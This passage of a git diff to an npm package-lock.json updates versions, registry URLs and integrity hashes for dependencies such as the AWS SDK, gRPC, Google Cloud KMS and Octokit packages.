+        "@aws-sdk/types": "^3.973.8",
+        "@smithy/protocol-http": "^5.3.14",
+        "@smithy/signature-v4": "^5.3.14",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1548,17 +1641,17 @@
       }
     },
     "node_modules/@aws-sdk/token-providers": {
-      "version": "3.1020.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1020.0.tgz",
-      "integrity": "sha512-T61KA/VKl0zVUubdxigr1ut7SEpwE1/4CIKb14JDLyTAOne2yWKtQE1dDCSHl0UqrZNwW/bTt+EBHfQbslZJdw==",
+      "version": "3.1036.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1036.0.tgz",
+      "integrity": "sha512-aNSJ6jjDYayxN9ZA1JpycVScX93Lx03kKZ1EXt3DGOTahcWVLJj3oLAlop0xKP+vP2Ga2t49p1tEaMkTbCCaZA==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/core": "^3.973.26",
-        "@aws-sdk/nested-clients": "^3.996.17",
-        "@aws-sdk/types": "^3.973.6",
-        "@smithy/property-provider": "^4.2.12",
-        "@smithy/shared-ini-file-loader": "^4.4.7",
-        "@smithy/types": "^4.13.1",
+        "@aws-sdk/core": "^3.974.5",
+        "@aws-sdk/nested-clients": "^3.997.3",
+        "@aws-sdk/types": "^3.973.8",
+        "@smithy/property-provider": "^4.2.14",
+        "@smithy/shared-ini-file-loader": "^4.4.9",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1566,12 +1659,12 @@
       }
     },
     "node_modules/@aws-sdk/types": {
-      "version": "3.973.6",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.973.6.tgz",
-      "integrity": "sha512-Atfcy4E++beKtwJHiDln2Nby8W/mam64opFPTiHEqgsthqeydFS1pY+OUlN1ouNOmf8ArPU/6cDS65anOP3KQw==",
+      "version": "3.973.8",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.973.8.tgz",
+      "integrity": "sha512-gjlAdtHMbtR9X5iIhVUvbVcy55KnznpC6bkDUWW9z915bi0ckdUr5cjf16Kp6xq0bP5HBD2xzgbL9F9Quv5vUw==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^4.13.1",
+        "@smithy/types": "^4.14.1",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1591,15 +1684,15 @@
       }
     },
     "node_modules/@aws-sdk/util-endpoints": {
-      "version": "3.996.5",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.996.5.tgz",
-      "integrity": "sha512-Uh93L5sXFNbyR5sEPMzUU8tJ++Ku97EY4udmC01nB8Zu+xfBPwpIwJ6F7snqQeq8h2pf+8SGN5/NoytfKgYPIw==",
+      "version": "3.996.8",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.996.8.tgz",
+      "integrity": "sha512-oOZHcRDihk5iEe5V25NVWg45b3qEA8OpHWVdU/XQh8Zj4heVPAJqWvMphQnU7LkufmUo10EpvFPZuQMiFLJK3g==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/types": "^3.973.6",
-        "@smithy/types": "^4.13.1",
-        "@smithy/url-parser": "^4.2.12",
-        "@smithy/util-endpoints": "^3.3.3",
+        "@aws-sdk/types": "^3.973.8",
+        "@smithy/types": "^4.14.1",
+        "@smithy/url-parser": "^4.2.14",
+        "@smithy/util-endpoints": "^3.4.2",
         "tslib": "^2.6.2"
       },
       "engines": {
@@ -1618,27 +1711,27 @@
       }
     },
     "node_modules/@aws-sdk/util-user-agent-browser": {
-      "version": "3.972.8",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.972.8.tgz",
-      "integrity": "sha512-B3KGXJviV2u6Cdw2SDY2aDhoJkVfY/Q/Trwk2CMSkikE1Oi6gRzxhvhIfiRpHfmIsAhV4EA54TVEX8K6CbHbkA==",
+      "version": "3.972.10",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.972.10.tgz",
+      "integrity": "sha512-FAzqXvfEssGdSIz8ejatan0bOdx1qefBWKF/gWmVBXIP1HkS7v/wjjaqrAGGKvyihrXTXW00/2/1nTJtxpXz7g==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/types": "^3.973.6",
-        "@smithy/types": "^4.13.1",
+        "@aws-sdk/types": "^3.973.8",
+        "@smithy/types": "^4.14.1",
         "bowser": "^2.11.0",
         "tslib": "^2.6.2"
       }
     },
     "node_modules/@aws-sdk/util-user-agent-node": {
-      "version": "3.973.13",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.973.13.tgz",
-      "integrity": "sha512-s1dCJ0J9WU9UPkT3FFqhKTSquYTkqWXGRaapHFyWwwJH86ZussewhNST5R5TwXVL1VSHq4aJVl9fWK+svaRVCQ==",
+      "version": "3.973.21",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.973.21.tgz",
+      "integrity": "sha512-Av4UHTcAWgdvbN0IP9pbtf4Qa1+6LtJqQdZWj5pLn5J67w0pnJJAZZ+7JPPcj2KN3378zD2JDM9DwJKEyvyMTQ==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@aws-sdk/middleware-user-agent": "^3.972.27",
-        "@aws-sdk/types": "^3.973.6",
-        "@smithy/node-config-provider": "^4.3.12",
-        "@smithy/types": "^4.13.1",
+        "@aws-sdk/middleware-user-agent": "^3.972.35",
+        "@aws-sdk/types": "^3.973.8",
+        "@smithy/node-config-provider": "^4.3.14",
+        "@smithy/types": "^4.14.1",
         "@smithy/util-config-provider": "^4.2.2",
         "tslib": "^2.6.2"
       },
@@ -1655,39 +1748,19 @@
       }
     },
     "node_modules/@aws-sdk/xml-builder": {
-      "version": "3.972.16",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.972.16.tgz",
-      "integrity": "sha512-iu2pyvaqmeatIJLURLqx9D+4jKAdTH20ntzB6BFwjyN7V960r4jK32mx0Zf7YbtOYAbmbtQfDNuL60ONinyw7A==",
+      "version": "3.972.19",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.972.19.tgz",
+      "integrity": "sha512-Cw8IOMdBUEIl8ZlhRC3Dc/E64D5B5/8JhV6vhPLiPfJwcRC84S6F8aBOIi/N4vR9ZyA4I5Cc0Ateb/9EHaJXeQ==",
       "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^4.13.1",
-        "fast-xml-parser": "5.5.8",
+        "@smithy/types": "^4.14.1",
+        "fast-xml-parser": "5.7.1",
         "tslib": "^2.6.2"
       },
       "engines": {
         "node": ">=20.0.0"
       }
     },
-    "node_modules/@aws-sdk/xml-builder/node_modules/fast-xml-parser": {
-      "version": "5.5.8",
-      "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.5.8.tgz",
-      "integrity": "sha512-Z7Fh2nVQSb2d+poDViM063ix2ZGt9jmY1nWhPfHBOK2Hgnb/OW3P4Et3P/81SEej0J7QbWtJqxO05h8QYfK7LQ==",
-      "funding": [
-        {
-          "type": "github",
-          "url": "https://github.com/sponsors/NaturalIntelligence"
-        }
-      ],
-      "license": "MIT",
-      "dependencies": {
-        "fast-xml-builder": "^1.1.4",
-        "path-expression-matcher": "^1.2.0",
-        "strnum": "^2.2.0"
-      },
-      "bin": {
-        "fxparser": "src/cli/cli.js"
-      }
-    },
     "node_modules/@aws/lambda-invoke-store": {
       "version": "0.2.3",
       "resolved": "https://registry.npmjs.org/@aws/lambda-invoke-store/-/lambda-invoke-store-0.2.3.tgz",
@@ -5105,6 +5178,22 @@
       "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
       "dev": true
     },
+    "node_modules/@eslint/eslintrc/node_modules/minimatch": {
+      "version": "9.0.9",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz",
+      "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "brace-expansion": "^2.0.2"
+      },
+      "engines": {
+        "node": ">=16 || 14 >=14.17"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
     "node_modules/@eslint/eslintrc/node_modules/ms": {
       "version": "2.1.2",
       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
@@ -5439,23 +5528,24 @@
       }
     },
     "node_modules/@google-cloud/kms": {
-      "version": "4.5.0",
-      "resolved": "https://registry.npmjs.org/@google-cloud/kms/-/kms-4.5.0.tgz",
-      "integrity": "sha512-i2vC0DI7bdfEhQszqASTw0KVvbB7HsO2CwTBod423NawAu7FWi+gVVa7NLfXVNGJaZZayFfci2Hu+om/HmyEjQ==",
+      "version": "5.4.0",
+      "resolved": "https://registry.npmjs.org/@google-cloud/kms/-/kms-5.4.0.tgz",
+      "integrity": "sha512-+06zUCaJM+wyZISM3F6u/jSqoBs0iZ8Aj9rqOJFePoWkNN7FbR4mQpV7okGHA+Y7caVgq+4QtIDKiFd17SZT+A==",
       "license": "Apache-2.0",
       "dependencies": {
-        "google-gax": "^4.0.3"
+        "google-gax": "^5.0.0"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18"
       }
     },
     "node_modules/@grpc/grpc-js": {
-      "version": "1.12.2",
-      "resolved": "https://registry.npmjs.org/@grpc/grpc-js/-/grpc-js-1.12.2.tgz",
-      "integrity": "sha512-bgxdZmgTrJZX50OjyVwz3+mNEnCTNkh3cIqGPWVNeW9jX6bn1ZkU80uPd+67/ZpIJIjRQ9qaHCjhavyoWYxumg==",
+      "version": "1.14.3",
+      "resolved": "https://registry.npmjs.org/@grpc/grpc-js/-/grpc-js-1.14.3.tgz",
+      "integrity": "sha512-Iq8QQQ/7X3Sac15oB6p0FmUg/klxQvXLeileoqrTRGJYLV+/9tubbr9ipz0GKHjmXVsgFPo/+W+2cA8eNcR+XA==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@grpc/proto-loader": "^0.7.13",
+        "@grpc/proto-loader": "^0.8.0",
         "@js-sdsl/ordered-map": "^4.4.2"
       },
       "engines": {
@@ -5463,13 +5553,14 @@
       }
     },
     "node_modules/@grpc/proto-loader": {
-      "version": "0.7.13",
-      "resolved": "https://registry.npmjs.org/@grpc/proto-loader/-/proto-loader-0.7.13.tgz",
-      "integrity": "sha512-AiXO/bfe9bmxBjxxtYxFAXGZvMaN5s8kO+jBHAJCON8rJoB5YS/D6X7ZNc6XQkuHNmyl4CYaMI1fJ/Gn27RGGw==",
+      "version": "0.8.0",
+      "resolved": "https://registry.npmjs.org/@grpc/proto-loader/-/proto-loader-0.8.0.tgz",
+      "integrity": "sha512-rc1hOQtjIWGxcxpb9aHAfLpIctjEnsDehj0DAiVfBlmT84uvR0uUtN2hEi/ecvWVjXUGf5qPF4qEgiLOx1YIMQ==",
+      "license": "Apache-2.0",
       "dependencies": {
         "lodash.camelcase": "^4.3.0",
         "long": "^5.0.0",
-        "protobufjs": "^7.2.5",
+        "protobufjs": "^7.5.3",
         "yargs": "^17.7.2"
       },
       "bin": {
@@ -5479,118 +5570,27 @@
         "node": ">=6"
       }
     },
-    "node_modules/@grpc/proto-loader/node_modules/ansi-regex": {
-      "version": "5.0.1",
-      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
-      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
-      "engines": {
-        "node": ">=8"
-      }
+    "node_modules/@hapi/bourne": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/@hapi/bourne/-/bourne-2.1.0.tgz",
+      "integrity": "sha512-i1BpaNDVLJdRBEKeJWkVO6tYX6DMFBuwMhSuWqLsY4ufeTKGVuV5rBsUhxPayXqnnWHgXUAmWK16H/ykO5Wj4Q=="
     },
-    "node_modules/@grpc/proto-loader/node_modules/cliui": {
-      "version": "8.0.1",
-      "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz",
-      "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==",
-      "dependencies": {
-        "string-width": "^4.2.0",
-        "strip-ansi": "^6.0.1",
-        "wrap-ansi": "^7.0.0"
-      },
+    "node_modules/@hexagon/base64": {
+      "version": "1.1.28",
+      "resolved": "https://registry.npmjs.org/@hexagon/base64/-/base64-1.1.28.tgz",
+      "integrity": "sha512-lhqDEAvWixy3bZ+UOYbPwUbBkwBq5C1LAJ/xPC8Oi+lL54oyakv/npbA0aU2hgCsx/1NUd4IBvV03+aUBWxerw==",
+      "license": "MIT"
+    },
+    "node_modules/@hono/node-server": {
+      "version": "1.19.14",
+      "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-1.19.14.tgz",
+      "integrity": "sha512-GwtvgtXxnWsucXvbQXkRgqksiH2Qed37H9xHZocE5sA3N8O8O8/8FA3uclQXxXVzc9XBZuEOMK7+r02FmSpHtw==",
+      "license": "MIT",
       "engines": {
-        "node": ">=12"
-      }
-    },
-    "node_modules/@grpc/proto-loader/node_modules/emoji-regex": {
-      "version": "8.0.0",
-      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
-      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
-    },
-    "node_modules/@grpc/proto-loader/node_modules/string-width": {
-      "version": "4.2.3",
-      "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
-      "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
-      "dependencies": {
-        "emoji-regex": "^8.0.0",
-        "is-fullwidth-code-point": "^3.0.0",
-        "strip-ansi": "^6.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/@grpc/proto-loader/node_modules/strip-ansi": {
-      "version": "6.0.1",
-      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
-      "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
-      "dependencies": {
-        "ansi-regex": "^5.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      }
-    },
-    "node_modules/@grpc/proto-loader/node_modules/wrap-ansi": {
-      "version": "7.0.0",
-      "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
-      "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
-      "dependencies": {
-        "ansi-styles": "^4.0.0",
-        "string-width": "^4.1.0",
-        "strip-ansi": "^6.0.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
-      }
-    },
-    "node_modules/@grpc/proto-loader/node_modules/yargs": {
-      "version": "17.7.2",
-      "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz",
-      "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==",
-      "dependencies": {
-        "cliui": "^8.0.1",
-        "escalade": "^3.1.1",
-        "get-caller-file": "^2.0.5",
-        "require-directory": "^2.1.1",
-        "string-width": "^4.2.3",
-        "y18n": "^5.0.5",
-        "yargs-parser": "^21.1.1"
-      },
-      "engines": {
-        "node": ">=12"
-      }
-    },
-    "node_modules/@grpc/proto-loader/node_modules/yargs-parser": {
-      "version": "21.1.1",
-      "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz",
-      "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==",
-      "engines": {
-        "node": ">=12"
-      }
-    },
-    "node_modules/@hapi/bourne": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/@hapi/bourne/-/bourne-2.1.0.tgz",
-      "integrity": "sha512-i1BpaNDVLJdRBEKeJWkVO6tYX6DMFBuwMhSuWqLsY4ufeTKGVuV5rBsUhxPayXqnnWHgXUAmWK16H/ykO5Wj4Q=="
-    },
-    "node_modules/@hexagon/base64": {
-      "version": "1.1.28",
-      "resolved": "https://registry.npmjs.org/@hexagon/base64/-/base64-1.1.28.tgz",
-      "integrity": "sha512-lhqDEAvWixy3bZ+UOYbPwUbBkwBq5C1LAJ/xPC8Oi+lL54oyakv/npbA0aU2hgCsx/1NUd4IBvV03+aUBWxerw==",
-      "license": "MIT"
-    },
-    "node_modules/@hono/node-server": {
-      "version": "1.19.12",
-      "resolved": "https://registry.npmjs.org/@hono/node-server/-/node-server-1.19.12.tgz",
-      "integrity": "sha512-txsUW4SQ1iilgE0l9/e9VQWmELXifEFvmdA1j6WFh/aFPj99hIntrSsq/if0UWyGVkmrRPKA1wCeP+UCr1B9Uw==",
-      "license": "MIT",
-      "engines": {
-        "node": ">=18.14.1"
-      },
-      "peerDependencies": {
-        "hono": "^4"
+        "node": ">=18.14.1"
+      },
+      "peerDependencies": {
+        "hono": "^4"
       }
     },
     "node_modules/@humanwhocodes/config-array": {
@@ -5624,6 +5624,22 @@
         }
       }
     },
+    "node_modules/@humanwhocodes/config-array/node_modules/minimatch": {
+      "version": "9.0.9",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz",
+      "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "brace-expansion": "^2.0.2"
+      },
+      "engines": {
+        "node": ">=16 || 14 >=14.17"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
     "node_modules/@humanwhocodes/config-array/node_modules/ms": {
       "version": "2.1.2",
       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
@@ -6338,15 +6354,6 @@
         "node": ">=18.0.0"
       }
     },
-    "node_modules/@isaacs/fs-minipass/node_modules/minipass": {
-      "version": "7.1.3",
-      "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.3.tgz",
-      "integrity": "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==",
-      "license": "BlueOak-1.0.0",
-      "engines": {
-        "node": ">=16 || 14 >=14.17"
-      }
-    },
     "node_modules/@isaacs/ttlcache": {
       "version": "1.4.1",
       "resolved": "https://registry.npmjs.org/@isaacs/ttlcache/-/ttlcache-1.4.1.tgz",
@@ -6411,6 +6418,7 @@
       "version": "4.4.2",
       "resolved": "https://registry.npmjs.org/@js-sdsl/ordered-map/-/ordered-map-4.4.2.tgz",
       "integrity": "sha512-iUKgm52T8HOE/makSxjqoWhe95ZJA1/G1sYsGev2JDKUSS14KAgg1LHb+Ba+IPow0xflbnSkOsZcO08C7w1gYw==",
+      "license": "MIT",
       "funding": {
         "type": "opencollective",
         "url": "https://opencollective.com/js-sdsl"
@@ -7284,6 +7292,18 @@
         "url": "https://paulmillr.com/funding/"
       }
     },
+    "node_modules/@nodable/entities": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/@nodable/entities/-/entities-2.1.0.tgz",
+      "integrity": "sha512-nyT7T3nbMyBI/lvr6L5TyWbFJAI9FTgVRakNoBqCD+PmID8DzFrrNdLLtHMwMszOtqZa8PAOV24ZqDnQrhQINA==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/nodable"
+        }
+      ],
+      "license": "MIT"
+    },
     "node_modules/@node-saml/node-saml": {
       "version": "5.1.0",
       "resolved": "https://registry.npmjs.org/@node-saml/node-saml/-/node-saml-5.1.0.tgz",
@@ -7307,6 +7327,15 @@
         "node": ">= 18"
       }
     },
+    "node_modules/@node-saml/node-saml/node_modules/@xmldom/xmldom": {
+      "version": "0.8.12",
+      "resolved": "https://registry.npmjs.org/@xmldom/xmldom/-/xmldom-0.8.12.tgz",
+      "integrity": "sha512-9k/gHF6n/pAi/9tqr3m3aqkuiNosYTurLLUtc7xQ9sxB/wm7WPygCv8GYa6mS0fLJEHhqMC1ATYhz++U/lRHqg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=10.0.0"
+      }
+    },
     "node_modules/@node-saml/node-saml/node_modules/debug": {
       "version": "4.4.1",
       "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.1.tgz",
@@ -7523,32 +7552,19 @@
       }
     },
     "node_modules/@octokit/auth-app/node_modules/@octokit/request-error": {
-      "version": "6.1.8",
-      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-6.1.8.tgz",
-      "integrity": "sha512-WEi/R0Jmq+IJKydWlKDmryPcmdYSVjL3ekaiEL1L9eo1sUnqMJ+grqmC9cjk7CA7+b2/T397tO5d8YLOH3qYpQ==",
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz",
+      "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==",
       "license": "MIT",
       "dependencies": {
-        "@octokit/types": "^14.0.0"
+        "@octokit/types": "^13.1.0",
+        "deprecation": "^2.0.0",
+        "once": "^1.4.0"
       },
       "engines": {
         "node": ">= 18"
       }
     },
-    "node_modules/@octokit/auth-app/node_modules/@octokit/request-error/node_modules/@octokit/openapi-types": {
-      "version": "25.1.0",
-      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-25.1.0.tgz",
-      "integrity": "sha512-idsIggNXUKkk0+BExUn1dQ92sfysJrje03Q0bv0e+KPLrvyqZF8MnBpFz8UNfYDwB3Ie7Z0TByjWfzxt7vseaA==",
-      "license": "MIT"
-    },
-    "node_modules/@octokit/auth-app/node_modules/@octokit/request-error/node_modules/@octokit/types": {
-      "version": "14.1.0",
-      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-14.1.0.tgz",
-      "integrity": "sha512-1y6DgTy8Jomcpu33N+p5w58l6xyt55Ar2I91RPiIA0xCJBXyUAhXCcmZaDWSANiha7R9a6qJJ2CRomGPZ6f46g==",
-      "license": "MIT",
-      "dependencies": {
-        "@octokit/openapi-types": "^25.1.0"
-      }
-    },
     "node_modules/@octokit/auth-app/node_modules/@octokit/request/node_modules/@octokit/openapi-types": {
       "version": "25.1.0",
       "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-25.1.0.tgz",
@@ -7633,32 +7649,19 @@
       }
     },
     "node_modules/@octokit/auth-oauth-app/node_modules/@octokit/request-error": {
-      "version": "6.1.8",
-      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-6.1.8.tgz",
-      "integrity": "sha512-WEi/R0Jmq+IJKydWlKDmryPcmdYSVjL3ekaiEL1L9eo1sUnqMJ+grqmC9cjk7CA7+b2/T397tO5d8YLOH3qYpQ==",
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz",
+      "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==",
       "license": "MIT",
       "dependencies": {
-        "@octokit/types": "^14.0.0"
+        "@octokit/types": "^13.1.0",
+        "deprecation": "^2.0.0",
+        "once": "^1.4.0"
       },
       "engines": {
         "node": ">= 18"
       }
     },
-    "node_modules/@octokit/auth-oauth-app/node_modules/@octokit/request-error/node_modules/@octokit/openapi-types": {
-      "version": "25.1.0",
-      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-25.1.0.tgz",
-      "integrity": "sha512-idsIggNXUKkk0+BExUn1dQ92sfysJrje03Q0bv0e+KPLrvyqZF8MnBpFz8UNfYDwB3Ie7Z0TByjWfzxt7vseaA==",
-      "license": "MIT"
-    },
-    "node_modules/@octokit/auth-oauth-app/node_modules/@octokit/request-error/node_modules/@octokit/types": {
-      "version": "14.1.0",
-      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-14.1.0.tgz",
-      "integrity": "sha512-1y6DgTy8Jomcpu33N+p5w58l6xyt55Ar2I91RPiIA0xCJBXyUAhXCcmZaDWSANiha7R9a6qJJ2CRomGPZ6f46g==",
-      "license": "MIT",
-      "dependencies": {
-        "@octokit/openapi-types": "^25.1.0"
-      }
-    },
     "node_modules/@octokit/auth-oauth-app/node_modules/@octokit/request/node_modules/@octokit/openapi-types": {
       "version": "25.1.0",
       "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-25.1.0.tgz",
@@ -7734,32 +7737,19 @@
       }
     },
     "node_modules/@octokit/auth-oauth-device/node_modules/@octokit/request-error": {
-      "version": "6.1.8",
-      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-6.1.8.tgz",
-      "integrity": "sha512-WEi/R0Jmq+IJKydWlKDmryPcmdYSVjL3ekaiEL1L9eo1sUnqMJ+grqmC9cjk7CA7+b2/T397tO5d8YLOH3qYpQ==",
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz",
+      "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==",
       "license": "MIT",
       "dependencies": {
-        "@octokit/types": "^14.0.0"
+        "@octokit/types": "^13.1.0",
+        "deprecation": "^2.0.0",
+        "once": "^1.4.0"
       },
       "engines": {
         "node": ">= 18"
       }
     },
-    "node_modules/@octokit/auth-oauth-device/node_modules/@octokit/request-error/node_modules/@octokit/openapi-types": {
-      "version": "25.1.0",
-      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-25.1.0.tgz",
-      "integrity": "sha512-idsIggNXUKkk0+BExUn1dQ92sfysJrje03Q0bv0e+KPLrvyqZF8MnBpFz8UNfYDwB3Ie7Z0TByjWfzxt7vseaA==",
-      "license": "MIT"
-    },
-    "node_modules/@octokit/auth-oauth-device/node_modules/@octokit/request-error/node_modules/@octokit/types": {
-      "version": "14.1.0",
-      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-14.1.0.tgz",
-      "integrity": "sha512-1y6DgTy8Jomcpu33N+p5w58l6xyt55Ar2I91RPiIA0xCJBXyUAhXCcmZaDWSANiha7R9a6qJJ2CRomGPZ6f46g==",
-      "license": "MIT",
-      "dependencies": {
-        "@octokit/openapi-types": "^25.1.0"
-      }
-    },
     "node_modules/@octokit/auth-oauth-device/node_modules/@octokit/request/node_modules/@octokit/openapi-types": {
       "version": "25.1.0",
       "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-25.1.0.tgz",
@@ -7836,32 +7826,19 @@
       }
     },
     "node_modules/@octokit/auth-oauth-user/node_modules/@octokit/request-error": {
-      "version": "6.1.8",
-      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-6.1.8.tgz",
-      "integrity": "sha512-WEi/R0Jmq+IJKydWlKDmryPcmdYSVjL3ekaiEL1L9eo1sUnqMJ+grqmC9cjk7CA7+b2/T397tO5d8YLOH3qYpQ==",
+      "version": "5.1.1",
+      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz",
+      "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==",
       "license": "MIT",
       "dependencies": {
-        "@octokit/types": "^14.0.0"
+        "@octokit/types": "^13.1.0",
+        "deprecation": "^2.0.0",
+        "once": "^1.4.0"
       },
       "engines": {
         "node": ">= 18"
       }
     },
-    "node_modules/@octokit/auth-oauth-user/node_modules/@octokit/request-error/node_modules/@octokit/openapi-types": {
-      "version": "25.1.0",
-      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-25.1.0.tgz",
-      "integrity": "sha512-idsIggNXUKkk0+BExUn1dQ92sfysJrje03Q0bv0e+KPLrvyqZF8MnBpFz8UNfYDwB3Ie7Z0TByjWfzxt7vseaA==",
-      "license": "MIT"
-    },
-    "node_modules/@octokit/auth-oauth-user/node_modules/@octokit/request-error/node_modules/@octokit/types": {
-      "version": "14.1.0",
